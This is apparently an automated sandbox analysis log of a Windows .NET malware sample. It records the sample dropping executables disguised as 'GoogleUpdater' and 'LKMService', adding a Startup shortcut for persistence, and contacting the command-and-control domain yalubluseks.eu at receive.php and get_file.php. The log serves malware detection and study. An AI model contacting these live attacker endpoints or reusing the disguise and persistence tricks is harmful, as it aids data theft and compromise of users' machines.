Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: yalubluseks.eu

Source: unknown

HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continueConnection: Keep-Alive

Source: GoogleUpdater.exe, 0000000F.00000002.3531140102.00000000028B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org
Source: GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/
Source: GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002810000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002B37000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.000000000296C000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.00000000028B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.orgD
Source: GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002810000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.000000000296C000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.00000000028B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.orgd
Source: LKMService.exe, 00000001.00000002.3531953099.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, LKMService.exe, 0000000E.00000002.3531804895.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: GoogleUpdater.exe, 0000000F.00000002.3531140102.000000000291D000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002810000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002AEB000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002B37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://yalubluseks.eu
Source: GoogleUpdater.exe, 0000000F.00000002.3531140102.000000000291D000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002810000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002AEB000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002B37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://yalubluseks.eud
Source: LKMService.exe, 00000001.00000002.3531953099.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, LKMService.exe, 0000000E.00000002.3531804895.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.00000000027D3000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalubluseks.eu
Source: GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002B37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalubluseks.eu/get_filT
Source: LKMService.exe, 00000001.00000002.3531953099.0000000003372000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.00000000028FD000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.00000000027D3000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002B37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalubluseks.eu/get_file.php
Source: GoogleUpdater.exe, 0000000F.00000002.3531140102.00000000028FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalubluseks.eu/get_file.phpT
Source: GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002B37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalubluseks.eu/get_updatX
Source: GoogleUpdater.exe, 0000000F.00000002.3531140102.000000000291D000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.00000000027D3000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002B37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalubluseks.eu/get_update.php
Source: GoogleUpdater.exe, 0000000F.00000002.3531140102.000000000291D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalubluseks.eu/get_update.phpT
Source: GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002AEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalubluseks.eu/receiP
Source: LKMService.exe, 00000001.00000002.3531953099.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, LKMService.exe, 0000000E.00000002.3531804895.0000000002D14000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.00000000027D3000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002721000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002810000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002AEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalubluseks.eu/receive.php
Source: GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalubluseks.eu/receive.phpT
Source: LKMService.exe, 00000001.00000002.3531953099.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, LKMService.exe, 0000000E.00000002.3531804895.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalubluseks.eu/t
Source: GoogleUpdater.exe, 0000000F.00000002.3531140102.000000000291D000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002810000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002AEB000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002B37000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.000000000296C000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.00000000028BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalubluseks.euD

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 104.21.54.163:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.54.163:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.54.163:443 -> 192.168.2.4:49754 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Code function: 1_2_03104A98	1_2_03104A98
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Code function: 1_2_03106E58	1_2_03106E58
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Code function: 1_2_03106E49	1_2_03106E49
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Code function: 14_2_00E46560	14_2_00E46560
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Code function: 14_2_00E43B00	14_2_00E43B00
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Code function: 14_2_00E46551	14_2_00E46551
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Code function: 15_2_04C06558	15_2_04C06558
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Code function: 15_2_04C03B00	15_2_04C03B00
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Code function: 15_2_04C06549	15_2_04C06549

Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6576 -s 948

Source: file.exe, 00000000.00000002.1680793180.0000000000E91000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLKSM.exe6 vs file.exe
Source: file.exe, 00000000.00000000.1674016661.00000000006A2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameLKSM.exe6 vs file.exe
Source: file.exe, 00000000.00000002.1679995223.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameLKSM.exe6 vs file.exe

Source: file.exe, -Module-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: LKMService.exe.0.dr, -Module-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: GoogleUpdater.exe.1.dr, -Module-.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: file.exe, QXV0b1NldHVwQUFB.cs	Base64 encoded string: 'w5/7oMbfowSJvsh5jMMWJLLTn3ekxrnqMrvnOJe0Rwq2bcqpENkunA==', 'u7YI7sK9XHgtCcP/i+WsqWucGd18OLkhfe7vCyEjkXq0GG/3IKYaV7sR7uJpZvOPt4UmEvmjDbc=', 'w5/7oMbfowSJvsh5jMMWJLLTn3ekxrnqMrvnOJe0Rwq2bcqpENkunA=='
Source: LKMService.exe.0.dr, QXV0b1NldHVwQUFB.cs	Base64 encoded string: 'w5/7oMbfowSJvsh5jMMWJLLTn3ekxrnqMrvnOJe0Rwq2bcqpENkunA==', 'u7YI7sK9XHgtCcP/i+WsqWucGd18OLkhfe7vCyEjkXq0GG/3IKYaV7sR7uJpZvOPt4UmEvmjDbc=', 'w5/7oMbfowSJvsh5jMMWJLLTn3ekxrnqMrvnOJe0Rwq2bcqpENkunA=='
Source: GoogleUpdater.exe.1.dr, QXV0b1NldHVwQUFB.cs	Base64 encoded string: 'w5/7oMbfowSJvsh5jMMWJLLTn3ekxrnqMrvnOJe0Rwq2bcqpENkunA==', 'u7YI7sK9XHgtCcP/i+WsqWucGd18OLkhfe7vCyEjkXq0GG/3IKYaV7sR7uJpZvOPt4UmEvmjDbc=', 'w5/7oMbfowSJvsh5jMMWJLLTn3ekxrnqMrvnOJe0Rwq2bcqpENkunA=='

Source: classification engine

Classification label: mal84.winEXE@11/214@2/2

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_472749f636994be5bfcb24189b3266c5.lnk

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6576
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5316

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\EdgeUpdater

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	ReversingLabs: Detection: 15%
Source: file.exe	Virustotal: Detection: 34%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe "C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe"
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process created: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe "C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe" --checker
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe "C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe"
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6576 -s 948
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe "C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe"
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5316 -s 948
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe "C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe "C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe "C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process created: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe "C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe" --checker	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
